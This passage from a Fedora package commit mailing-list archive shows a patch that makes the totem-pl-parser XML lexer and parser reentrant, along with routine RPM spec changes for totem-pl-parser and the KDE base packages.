@@ -214,7 +206,7 @@
 	    break;
 
 	  case '?':
-	    if (!in_comment)
+	    if (!lexer->in_comment)
 	      state = STATE_T_TI_STOP;
 	    tok[tok_pos] = c;
 	    tok_pos++;
@@ -226,14 +218,14 @@
 	    tok_pos++;
 	    break;
 	  }
-	  lexbuf_pos++;
+	  lexer->lexbuf_pos++;
 	  break;
 
 	  /* end of line */
 	case STATE_EOL:
 	  if (c == '\n' || (c == '\r')) {
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++;
 	  } else {
 	    tok[tok_pos] = '\0';
@@ -245,7 +237,7 @@
 	case STATE_SEPAR:
 	  if (c == ' ' || (c == '\t')) {
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++;
 	  } else {
 	    tok[tok_pos] = '\0';
@@ -258,20 +250,20 @@
 	  switch (c) {
 	  case '/':
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++; /* FIXME */
 	    tok[tok_pos] = '\0';
 	    return T_M_START_2;
 	    break;
 	  case '!':
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++;
 	    state = STATE_T_COMMENT;
 	    break;
 	  case '?':
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++; /* FIXME */
 	    tok[tok_pos] = '\0';
 	    return T_TI_START;
@@ -285,8 +277,8 @@
 	  /* T_M_STOP_1 */
 	case STATE_T_M_STOP_1:
 	  tok[tok_pos] = '\0';
-	  if (!in_comment)
-	    lex_mode = DATA;
+	  if (!lexer->in_comment)
+	    lexer->lex_mode = DATA;
 	  return T_M_STOP_1;
 	  break;
 
@@ -294,11 +286,11 @@
 	case STATE_T_M_STOP_2:
 	  if (c == '>') {
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++; /* FIXME */
 	    tok[tok_pos] = '\0';
-	    if (!in_comment)
-	      lex_mode = DATA;
+	    if (!lexer->in_comment)
+	      lexer->lex_mode = DATA;
 	    return T_M_STOP_2;
 	  } else {
 	    tok[tok_pos] = '\0';
@@ -315,7 +307,7 @@
 	  /* T_STRING */
 	case STATE_T_STRING_DOUBLE:
 	  tok[tok_pos] = c;
-	  lexbuf_pos++;
+	  lexer->lexbuf_pos++;
 	  if (c == '\"') { /* " */
 	    tok[tok_pos] = '\0'; /* FIXME */
 	    return T_STRING;
@@ -327,33 +319,33 @@
 	case STATE_T_COMMENT:
 	  switch (c) {
 	  case '-':
-	    lexbuf_pos++;
-	    if (lexbuf[lexbuf_pos] == '-')
+	    lexer->lexbuf_pos++;
+	    if (lexer->lexbuf[lexer->lexbuf_pos] == '-')
 	      {
-		lexbuf_pos++;
+		lexer->lexbuf_pos++;
 		tok[tok_pos++] = '-'; /* FIXME */
 		tok[tok_pos++] = '-';
 		tok[tok_pos] = '\0';
-		in_comment = 1;
+		lexer->in_comment = 1;
 		return T_C_START;
 	      }
 	    break;
 	  case 'D':
-	    lexbuf_pos++;
-	    if (strncmp(lexbuf + lexbuf_pos, "OCTYPE", 6) == 0) {
+	    lexer->lexbuf_pos++;
+	    if (strncmp(lexer->lexbuf + lexer->lexbuf_pos, "OCTYPE", 6) == 0) {
 	      strncpy(tok + tok_pos, "DOCTYPE", 7); /* FIXME */
-	      lexbuf_pos += 6;
+	      lexer->lexbuf_pos += 6;
 	      return T_DOCTYPE_START;
 	    } else {
 	      return T_ERROR;
 	    }
 	    break;
 	  case '[':
-	    lexbuf_pos++;
-	    if (strncmp(lexbuf + lexbuf_pos, "CDATA[", 6) == 0) {
+	    lexer->lexbuf_pos++;
+	    if (strncmp(lexer->lexbuf + lexer->lexbuf_pos, "CDATA[", 6) == 0) {
 	      strncpy (tok + tok_pos, "[CDATA[", 7); /* FIXME */
-	      lexbuf_pos += 6;
-	      lex_mode = CDATA;
+	      lexer->lexbuf_pos += 6;
+	      lexer->lex_mode = CDATA;
 	      return T_CDATA_START;
 	    } else{
 	      return T_ERROR;
@@ -369,11 +361,11 @@
 	case STATE_T_TI_STOP:
 	  if (c == '>') {
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++; /* FIXME */
 	    tok[tok_pos] = '\0';
-	    if (!in_comment)
-	      lex_mode = DATA;
+	    if (!lexer->in_comment)
+	      lexer->lex_mode = DATA;
 	    return T_TI_STOP;
 	  } else {
 	    tok[tok_pos] = '\0';
@@ -387,13 +379,13 @@
 	  case '-':
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    state = STATE_T_C_STOP;
 	    break;
 	  default:
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    state = STATE_IDENT;
 	  }
 	  break;
@@ -404,21 +396,21 @@
 	  case '>':
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok[tok_pos] = '\0'; /* FIX ME */
 	    if (strlen(tok) != 3) {
 	      tok[tok_pos - 3] = '\0';
-	      lexbuf_pos -= 3;
+	      lexer->lexbuf_pos -= 3;
 	      return T_IDENT;
 	    } else {
-	      in_comment = 0;
+	      lexer->in_comment = 0;
 	      return T_C_STOP;
 	    }
 	    break;
 	  default:
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    state = STATE_IDENT;
 	  }
 	  break;
@@ -426,7 +418,7 @@
 	  /* T_STRING (single quotes) */
 	case STATE_T_STRING_SINGLE:
 	  tok[tok_pos] = c;
-	  lexbuf_pos++;
+	  lexer->lexbuf_pos++;
 	  if (c == '\'') { /* " */
 	    tok[tok_pos] = '\0'; /* FIXME */
 	    return T_STRING;
@@ -453,19 +445,19 @@
 	  case '?':
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    state = STATE_T_TI_STOP;
 	    break;
 	  case '-':
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    state = STATE_T_DASHDASH;
 	    break;
 	  default:
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	  }
 	  break;
 	default:
@@ -479,12 +471,12 @@
         {
         case '<':
 	  tok[tok_pos] = '\0';
-	  lex_mode = NORMAL;
+	  lexer->lex_mode = NORMAL;
 	  return T_DATA;
 	default:
 	  tok[tok_pos] = c;
 	  tok_pos++;
-	  lexbuf_pos++;
+	  lexer->lexbuf_pos++;
 	}
 	break;
 
@@ -492,32 +484,32 @@
         switch (c)
         {
 	case ']':
-	  if (strncmp(lexbuf + lexbuf_pos, "]]>", 3) == 0) {
-	    lexbuf_pos += 3;
-	    lex_mode = DATA;
+	  if (strncmp(lexer->lexbuf + lexer->lexbuf_pos, "]]>", 3) == 0) {
+	    lexer->lexbuf_pos += 3;
+	    lexer->lex_mode = DATA;
 	    return T_CDATA_STOP;
 	  } else {
 	    tok[tok_pos] = c;
 	    tok_pos++;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	  }
 	  break;
 	default:
 	  tok[tok_pos] = c;
 	  tok_pos++;
-	  lexbuf_pos++;
+	  lexer->lexbuf_pos++;
 	}
 	break;
       }
     }
     lprintf ("loop done tok_pos = %d, tok_size=%d, lexbuf_pos=%d, lexbuf_size=%d\n", 
-	     tok_pos, tok_size, lexbuf_pos, lexbuf_size);
+	     tok_pos, tok_size, lexer->lexbuf_pos, lexer->lexbuf_size);
 
     /* pb */
     if (tok_pos >= tok_size) {
       lprintf("token buffer is too little\n");
     } else {
-      if (lexbuf_pos >= lexbuf_size) {
+      if (lexer->lexbuf_pos >= lexer->lexbuf_size) {
 				/* Terminate the current token */
 	tok[tok_pos] = '\0';
 	switch (state) {


Index: totem-pl-parser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem-pl-parser/F-12/totem-pl-parser.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- totem-pl-parser.spec	29 Sep 2009 15:18:40 -0000	1.47
+++ totem-pl-parser.spec	15 Oct 2009 13:14:16 -0000	1.48
@@ -1,6 +1,6 @@
 Name:		totem-pl-parser
 Version:	2.28.1
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Totem Playlist Parser library
 
 Group:		System Environment/Libraries
@@ -16,6 +16,9 @@ BuildRequires:	libxml2-devel
 BuildRequires:	gettext
 BuildRequires:	perl(XML::Parser) intltool
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=572705
+Patch0:		reentrant.patch
+
 %description
 A library to parse and save playlists, as used in music and movie players.
 
@@ -34,7 +37,7 @@ developing applications that use %{name}
 
 %prep
 %setup -q
-
+%patch0 -p1 -b .reentrant
 
 %build
 %configure --enable-static=no
@@ -67,6 +70,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/totem-pl-parser
 
 %changelog
+* Thu Oct 15 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
+- Fix crasher when parsing multiple XML-ish playlists in Rhythmbox
+
 * Tue Sep 29 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
 - Update to 2.28.1
 



From rdieter at fedoraproject.org  Thu Oct 15 13:20:18 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 13:20:18 +0000 (UTC)
Subject: rpms/kdebase-runtime/devel kdebase-runtime.spec,1.146,1.147
Message-ID: <20091015132018.69A8A11C029F@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31533

Modified Files:
	kdebase-runtime.spec 
Log Message:
- Requires: oxygen-icon-theme >= %%{version}



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/devel/kdebase-runtime.spec,v
retrieving revision 1.146
retrieving revision 1.147
diff -u -p -r1.146 -r1.147
--- kdebase-runtime.spec	15 Oct 2009 02:22:51 -0000	1.146
+++ kdebase-runtime.spec	15 Oct 2009 13:20:18 -0000	1.147
@@ -46,6 +46,10 @@ Requires: %{name}-libs%{?_isa} = %{versi
 #?KHelpcenter requires htdig for building search indices
 Requires: htdig
 
+# ensure default/fallback icon theme present
+# beware of bootstrapping, there be dragons
+Requires: oxygen-icon-theme >= %{version}
+
 BuildRequires: kde-filesystem
 BuildRequires: alsa-lib-devel
 BuildRequires: bzip2-devel
@@ -221,6 +225,7 @@ fi
 %changelog
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
 - Conflicts: kdebase < 6:4.3.0
+- Requires: oxygen-icon-theme >= %%{version}
 
 * Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
 - BR: bzip2-devel xz-devel



From rdieter at fedoraproject.org  Thu Oct 15 13:22:31 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 13:22:31 +0000 (UTC)
Subject: rpms/kdebase-workspace/devel kdebase-workspace.spec,1.301,1.302
Message-ID: <20091015132231.AD6BB11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-workspace/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32030

Modified Files:
	kdebase-workspace.spec 
Log Message:
* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
- drop Requires: oxygen-icon-theme (dep moved to kdebase-runtime)



Index: kdebase-workspace.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-workspace/devel/kdebase-workspace.spec,v
retrieving revision 1.301
retrieving revision 1.302
diff -u -p -r1.301 -r1.302
--- kdebase-workspace.spec	4 Oct 2009 10:44:58 -0000	1.301
+++ kdebase-workspace.spec	15 Oct 2009 13:22:31 -0000	1.302
@@ -8,7 +8,7 @@ Summary: K Desktop Environment - Workspa
 Name: kdebase-workspace
 Version: 4.3.2
 
-Release: 1%{?dist}
+Release: 2%{?dist}
 Source0: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kdebase-workspace-%{version}.tar.bz2
 License: GPLv2
 Group: User Interface/Desktops
@@ -96,10 +96,7 @@ BuildRequires: python-devel
 Requires: %{name}-libs%{?_isa} = %{version}-%{release}
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
 
-# would much rather these deps be elsewhere,
-# but adding here doesn't hurt either -- Rex
 Requires: kdebase-runtime >= %{version}
-Requires: oxygen-icon-theme >= 4.3.0
 
 # pkg-splits, upgrade path
 %if 0%{?fedora} < 12 || 0%{?rhel} < 6
@@ -603,6 +600,9 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
+- drop Requires: oxygen-icon-theme (dep moved to kdebase-runtime)
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From hadess at fedoraproject.org  Thu Oct 15 13:22:41 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 15 Oct 2009 13:22:41 +0000 (UTC)
Subject: rpms/totem-pl-parser/devel reentrant.patch, NONE,
	1.1 totem-pl-parser.spec, 1.47, 1.48
Message-ID: <20091015132241.4F4ED11C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem-pl-parser/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32108

Modified Files:
	totem-pl-parser.spec 
Added Files:
	reentrant.patch 
Log Message:
* Thu Oct 15 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
- Fix crasher when parsing multiple XML-ish playlists in Rhythmbox


reentrant.patch:
 totem-pl-parser.c |   15 +++--
 xmllexer.c        |  158 +++++++++++++++++++++++++-----------------------------
 xmllexer.h        |   21 ++++++-
 xmlparser.c       |   40 +++++++------
 xmlparser.h       |   12 +++-
 5 files changed, 136 insertions(+), 110 deletions(-)

--- NEW FILE reentrant.patch ---
only in patch2:
unchanged:
--- totem-pl-parser-2.28.1.orig/plparse/xmllexer.h
+++ totem-pl-parser-2.28.1/plparse/xmllexer.h
@@ -51,9 +51,26 @@
 #define T_CDATA_STOP    19   /* ]]> */
 
 
+/* public structures */
+struct lexer
+{
+  const char * lexbuf;
+  int lexbuf_size;
+  int lexbuf_pos;
+  int in_comment;
+  char * lex_malloc;
+  enum {
+    NORMAL,
+    DATA,
+    CDATA,
+  } lex_mode;
+};
+
+
 /* public functions */
-void lexer_init(const char * buf, int size) XINE_PROTECTED;
-int lexer_get_token(char * tok, int tok_size) XINE_PROTECTED;
+struct lexer *lexer_init(const char * buf, int size) XINE_PROTECTED;
+void lexer_finalize(struct lexer * lexer) XINE_PROTECTED;
+int lexer_get_token(struct lexer * lexer, char * tok, int tok_size) XINE_PROTECTED;
 char *lexer_decode_entities (const char *tok) XINE_PROTECTED;
 
 #endif
only in patch2:
unchanged:
--- totem-pl-parser-2.28.1.orig/plparse/xmlparser.c
+++ totem-pl-parser-2.28.1/plparse/xmlparser.c
@@ -51,9 +51,6 @@
 #define DATA_SIZE   64 * 1024
 #define MAX_RECURSION 23
 
-/* private global variables */
-static int xml_parser_mode;
-
 /* private functions */
 
 static char * strtoupper(char * str) {
@@ -103,10 +100,17 @@
   free(property);
 }
 
-void xml_parser_init(const char * buf, int size, int mode) {
+xml_parser_t *xml_parser_init(const char * buf, int size, int mode) {
+  xml_parser_t *xml_parser = malloc(sizeof(xml_parser_t));
+  xml_parser->lexer = lexer_init(buf, size);
+  xml_parser->mode = mode;
+  return xml_parser;
+}
 
-  lexer_init(buf, size);
-  xml_parser_mode = mode;
+void xml_parser_finalize(xml_parser_t *xml_parser)
+{
+  lexer_finalize(xml_parser->lexer);
+  free(xml_parser);
 }
 
 static void xml_parser_free_props(xml_property_t *current_property) {
@@ -220,7 +224,7 @@
 
 #define Q_STATE(CURRENT,NEW) (STATE_##NEW + state - STATE_##CURRENT)
 
-static int xml_parser_get_node_internal (xml_node_t *current_node, char *root_names[], int rec, int flags)
+static int xml_parser_get_node_internal (xml_parser_t *xml_parser, xml_node_t *current_node, char *root_names[], int rec, int flags)
 {
   char tok[TOKEN_SIZE];
   char property_name[TOKEN_SIZE];
@@ -239,7 +243,7 @@
 
     memset (tok, 0, TOKEN_SIZE);
 
-    while ((bypass_get_token) || (res = lexer_get_token(tok, TOKEN_SIZE)) != T_ERROR) {
+    while ((bypass_get_token) || (res = lexer_get_token(xml_parser->lexer, tok, TOKEN_SIZE)) != T_ERROR) {
       bypass_get_token = 0;
       lprintf("info: %d - %d : '%s'\n", state, res, tok);
 
@@ -295,7 +299,7 @@
 	  current_property = NULL;
 
 	  /* save node name */
-	  if (xml_parser_mode == XML_PARSER_CASE_INSENSITIVE) {
+	  if (xml_parser->mode == XML_PARSER_CASE_INSENSITIVE) {
 	    strtoupper(tok);
 	  }
 	  if (state == STATE_Q_NODE) {
@@ -331,7 +335,7 @@
 	  subtree->props = properties;
 	  lprintf("info: rec %d new subtree %s\n", rec, node_name);
 	  root_names[rec + 1] = node_name;
-	  parse_res = xml_parser_get_node_internal(subtree, root_names, rec + 1, flags);
+	  parse_res = xml_parser_get_node_internal(xml_parser, subtree, root_names, rec + 1, flags);
 	  if (parse_res == -1 || parse_res > 0) {
 	    return parse_res;
 	  }
@@ -374,7 +378,7 @@
 	case (T_IDENT):
 	  /* save property name */
 	  new_prop:
-	  if (xml_parser_mode == XML_PARSER_CASE_INSENSITIVE) {
+	  if (xml_parser->mode == XML_PARSER_CASE_INSENSITIVE) {
 	    strtoupper(tok);
 	  }
 	  strcpy(property_name, tok);
@@ -409,7 +413,7 @@
 	switch (res) {
 	case (T_IDENT):
 	  /* must be equal to root_name */
-	  if (xml_parser_mode == XML_PARSER_CASE_INSENSITIVE) {
+	  if (xml_parser->mode == XML_PARSER_CASE_INSENSITIVE) {
 	    strtoupper(tok);
 	  }
 	  if (strcmp(tok, root_names[rec]) == 0) {
@@ -621,19 +625,19 @@
   }
 }
 
-static int xml_parser_get_node (xml_node_t *current_node, int flags)
+static int xml_parser_get_node (xml_parser_t *xml_parser, xml_node_t *current_node, int flags)
 {
   char *root_names[MAX_RECURSION + 1];
   root_names[0] = "";
-  return xml_parser_get_node_internal (current_node, root_names, 0, flags);
+  return xml_parser_get_node_internal (xml_parser, current_node, root_names, 0, flags);
 }
 
-int xml_parser_build_tree_with_options(xml_node_t **root_node, int flags) {
+int xml_parser_build_tree_with_options(xml_parser_t *xml_parser, xml_node_t **root_node, int flags) {
   xml_node_t *tmp_node, *pri_node, *q_node;
   int res;
 
   tmp_node = new_xml_node();
-  res = xml_parser_get_node(tmp_node, flags);
+  res = xml_parser_get_node(xml_parser, tmp_node, flags);
 
   /* delete any top-level [CDATA] nodes */;
   pri_node = tmp_node->child;
@@ -676,8 +680,8 @@
   return res;
 }
 
-int xml_parser_build_tree(xml_node_t **root_node) {
-  return xml_parser_build_tree_with_options (root_node, 0);
+int xml_parser_build_tree(xml_parser_t *xml_parser, xml_node_t **root_node) {
+  return xml_parser_build_tree_with_options (xml_parser, root_node, 0);
 }
 
 const char *xml_parser_get_property (const xml_node_t *node, const char *name) {
only in patch2:
unchanged:
--- totem-pl-parser-2.28.1.orig/plparse/totem-pl-parser.c
+++ totem-pl-parser-2.28.1/plparse/totem-pl-parser.c
@@ -1676,11 +1676,16 @@
 	xml_node_t* doc, *node;
 	char *encoding, *new_contents;
 	gsize new_size;
+	xml_parser_t *xml_parser;
 
 	totem_pl_parser_cleanup_xml (contents);
-	xml_parser_init (contents, size, XML_PARSER_CASE_INSENSITIVE);
-	if (xml_parser_build_tree_with_options (&doc, XML_PARSER_RELAXED | XML_PARSER_MULTI_TEXT) < 0)
+	xml_parser = xml_parser_init (contents, size, XML_PARSER_CASE_INSENSITIVE);
+	if (xml_parser_build_tree_with_options (xml_parser, &doc, XML_PARSER_RELAXED | XML_PARSER_MULTI_TEXT) < 0) {
+		xml_parser_finalize (xml_parser);
 		return NULL;
+	}
+
+	xml_parser_finalize (xml_parser);
 
 	encoding = NULL;
 	for (node = doc; node != NULL; node = node->next) {
@@ -1705,12 +1710,14 @@
 	}
 	g_free (encoding);
 
-	xml_parser_init (new_contents, new_size, XML_PARSER_CASE_INSENSITIVE);
-	if (xml_parser_build_tree_with_options (&doc, XML_PARSER_RELAXED | XML_PARSER_MULTI_TEXT) < 0) {
+	xml_parser = xml_parser_init (new_contents, new_size, XML_PARSER_CASE_INSENSITIVE);
+	if (xml_parser_build_tree_with_options (xml_parser, &doc, XML_PARSER_RELAXED | XML_PARSER_MULTI_TEXT) < 0) {
+		xml_parser_finalize (xml_parser);
 		g_free (new_contents);
 		return NULL;
 	}
 
+	xml_parser_finalize (xml_parser);
 	g_free (new_contents);
 
 	return doc;
only in patch2:
unchanged:
--- totem-pl-parser-2.28.1.orig/plparse/xmlparser.h
+++ totem-pl-parser-2.28.1/plparse/xmlparser.h
@@ -65,10 +65,16 @@
 	struct xml_node_s *next;
 } xml_node_t;
 
-void xml_parser_init(const char * buf, int size, int mode) XINE_PROTECTED;
+typedef struct xml_parser_s {
+	struct lexer *lexer;
+	int mode;
+} xml_parser_t;
 
-int xml_parser_build_tree(xml_node_t **root_node) XINE_PROTECTED;
-int xml_parser_build_tree_with_options(xml_node_t **root_node, int flags) XINE_PROTECTED;
+xml_parser_t *xml_parser_init(const char * buf, int size, int mode) XINE_PROTECTED;
+void xml_parser_finalize(xml_parser_t *xml_parser) XINE_PROTECTED;
+
+int xml_parser_build_tree(xml_parser_t *xml_parser, xml_node_t **root_node) XINE_PROTECTED;
+int xml_parser_build_tree_with_options(xml_parser_t *xml_parser, xml_node_t **root_node, int flags) XINE_PROTECTED;
 
 void xml_parser_free_tree(xml_node_t *root_node) XINE_PROTECTED;
 
only in patch2:
unchanged:
--- totem-pl-parser-2.28.1.orig/plparse/xmllexer.c
+++ totem-pl-parser-2.28.1/plparse/xmllexer.c
@@ -44,16 +44,9 @@
 
 /* private constants*/
 
-/* private global variables */
-static const char * lexbuf;
-static int lexbuf_size = 0;
-static int lexbuf_pos  = 0;
-static int in_comment  = 0;
-static char *lex_malloc = NULL;
-
 enum utf { UTF32BE, UTF32LE, UTF16BE, UTF16LE };
 
-static void lex_convert (const char * buf, int size, enum utf utf)
+static void lex_convert (struct lexer * lexer, const char * buf, int size, enum utf utf)
 {
   char *utf8 = malloc (size * (utf >= UTF16BE ? 3 : 6) + 1);
   char *bp = utf8;
@@ -85,45 +78,44 @@
     }
   }
   *bp = 0;
-  lexbuf_size = bp - utf8;
-  lexbuf = lex_malloc = realloc (utf8, lexbuf_size + 1);
+  lexer->lexbuf_size = bp - utf8;
+  lexer->lexbuf = lexer->lex_malloc = realloc (utf8, lexer->lexbuf_size + 1);
 }
 
-static enum {
-  NORMAL,
-  DATA,
-  CDATA,
-} lex_mode = NORMAL;
-
-void lexer_init(const char * buf, int size) {
+struct lexer *lexer_init(const char * buf, int size) {
   static const char boms[] = { 0xFF, 0xFE, 0, 0, 0xFE, 0xFF },
 		    bom_utf8[] = { 0xEF, 0xBB, 0xBF };
+  struct lexer * lexer = calloc (1, sizeof (*lexer));
 
-  free (lex_malloc);
-  lex_malloc = NULL;
-
-  lexbuf      = buf;
-  lexbuf_size = size;
+  lexer->lexbuf      = buf;
+  lexer->lexbuf_size = size;
 
   if (size >= 4 && !memcmp (buf, boms + 2, 4))
-    lex_convert (buf + 4, size - 4, UTF32BE);
+    lex_convert (lexer, buf + 4, size - 4, UTF32BE);
   else if (size >= 4 && !memcmp (buf, boms, 4))
-    lex_convert (buf + 4, size - 4, UTF32LE);
+    lex_convert (lexer, buf + 4, size - 4, UTF32LE);
   else if (size >= 3 && !memcmp (buf, bom_utf8, 3))
   {
-    lexbuf += 3;
-    lexbuf_size -= 3;
+    lexer->lexbuf += 3;
+    lexer->lexbuf_size -= 3;
   }
   else if (size >= 2 && !memcmp (buf, boms + 4, 2))
-    lex_convert (buf + 2, size - 2, UTF16BE);
+    lex_convert (lexer, buf + 2, size - 2, UTF16BE);
   else if (size >= 2 && !memcmp (buf, boms, 2))
-    lex_convert (buf + 2, size - 2, UTF16LE);
+    lex_convert (lexer, buf + 2, size - 2, UTF16LE);
 
-  lexbuf_pos  = 0;
-  lex_mode    = NORMAL;
-  in_comment  = 0;
+  lexer->lexbuf_pos  = 0;
+  lexer->lex_mode    = NORMAL;
+  lexer->in_comment  = 0;
 
   lprintf("buffer length %d\n", size);
+  return lexer;
+}
+
+void lexer_finalize(struct lexer * lexer)
+{
+  free (lexer->lex_malloc);
+  free (lexer);
 }
 
 typedef enum {
@@ -144,17 +136,17 @@
   STATE_IDENT /* must be last */
 } lexer_state_t;
 
-int lexer_get_token(char * tok, int tok_size) {
+int lexer_get_token(struct lexer * lexer, char * tok, int tok_size) {
   int tok_pos = 0;
   lexer_state_t state = STATE_IDLE;
   char c;
 
   if (tok) {
-    while ((tok_pos < tok_size) && (lexbuf_pos < lexbuf_size)) {
-      c = lexbuf[lexbuf_pos];
-      lprintf("c=%c, state=%d, lex_mode=%d, in_comment=%d\n", c, state, lex_mode, in_comment);
+    while ((tok_pos < tok_size) && (lexer->lexbuf_pos < lexer->lexbuf_size)) {
+      c = lexer->lexbuf[lexer->lexbuf_pos];
+      lprintf("c=%c, state=%d, lex_mode=%d, lexer->in_comment=%d\n", c, state, lexer->lex_mode, lexer->in_comment);
 
-      switch (lex_mode) {
+      switch (lexer->lex_mode) {
       case NORMAL:
 	switch (state) {
 	  /* init state */
@@ -187,7 +179,7 @@
 	    break;
 
 	  case '/':
-	    if (!in_comment) 
+	    if (!lexer->in_comment) 
 	      state = STATE_T_M_STOP_2;
 	    tok[tok_pos] = c;
 	    tok_pos++;
@@ -214,7 +206,7 @@
 	    break;
 
 	  case '?':
-	    if (!in_comment)
+	    if (!lexer->in_comment)
 	      state = STATE_T_TI_STOP;
 	    tok[tok_pos] = c;
 	    tok_pos++;
@@ -226,14 +218,14 @@
 	    tok_pos++;
 	    break;
 	  }
-	  lexbuf_pos++;
+	  lexer->lexbuf_pos++;
 	  break;
 
 	  /* end of line */
 	case STATE_EOL:
 	  if (c == '\n' || (c == '\r')) {
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++;
 	  } else {
 	    tok[tok_pos] = '\0';
@@ -245,7 +237,7 @@
 	case STATE_SEPAR:
 	  if (c == ' ' || (c == '\t')) {
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++;
 	  } else {
 	    tok[tok_pos] = '\0';
@@ -258,20 +250,20 @@
 	  switch (c) {
 	  case '/':
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++; /* FIXME */
 	    tok[tok_pos] = '\0';
 	    return T_M_START_2;
 	    break;
 	  case '!':
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++;
 	    state = STATE_T_COMMENT;
 	    break;
 	  case '?':
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++; /* FIXME */
 	    tok[tok_pos] = '\0';
 	    return T_TI_START;
@@ -285,8 +277,8 @@
 	  /* T_M_STOP_1 */
 	case STATE_T_M_STOP_1:
 	  tok[tok_pos] = '\0';
-	  if (!in_comment)
-	    lex_mode = DATA;
+	  if (!lexer->in_comment)
+	    lexer->lex_mode = DATA;
 	  return T_M_STOP_1;
 	  break;
 
@@ -294,11 +286,11 @@
 	case STATE_T_M_STOP_2:
 	  if (c == '>') {
 	    tok[tok_pos] = c;
-	    lexbuf_pos++;
+	    lexer->lexbuf_pos++;
 	    tok_pos++; /* FIXME */
 	    tok[tok_pos] = '\0';
-	    if (!in_comment)
-	      lex_mode = DATA;
+	    if (!lexer->in_comment)
+	      lexer->lex_mode = DATA;
 	    return T_M_STOP_2;
 	  } else {
 	    tok[tok_pos] = '\0';
@@ -315,7 +307,7 @@
 	  /* T_STRING */
 	case STATE_T_STRING_DOUBLE:
 	  tok[tok_pos] = c;
-	  lexbuf_pos++;
+	  lexer->lexbuf_pos++;
 	  if (c == '\"') { /* " */
 	    tok[tok_pos] = '\0'; /* FIXME */
 	    return T_STRING;
@@ -327,33 +319,33 @@
 	case STATE_T_COMMENT:
 	  switch (c) {
 	  case '-':
-	    lexbuf_pos++;
-	    if (lexbuf[lexbuf_pos] == '-')
+	    lexer->lexbuf_pos++;
+	    if (lexer->lexbuf[lexer->lexbuf_pos] == '-')
 	      {
-		lexbuf_pos++;
+		lexer->lexbuf_pos++;
 		tok[tok_pos++] = '-'; /* FIXME */
 		tok[tok_pos++] = '-';
 		tok[tok_pos] = '\0';
-		in_comment = 1;
+		lexer->in_comment = 1;
 		return T_C_START;
 	      }
 	    break;
 	  case 'D':
-	    lexbuf_pos++;
-	    if (strncmp(lexbuf + lexbuf_pos, "OCTYPE", 6) == 0) {
+	    lexer->lexbuf_pos++;
+	    if (strncmp(lexer->lexbuf + lexer->lexbuf_pos, "OCTYPE", 6) == 0) {
 	      strncpy(tok + tok_pos, "DOCTYPE", 7); /* FIXME */
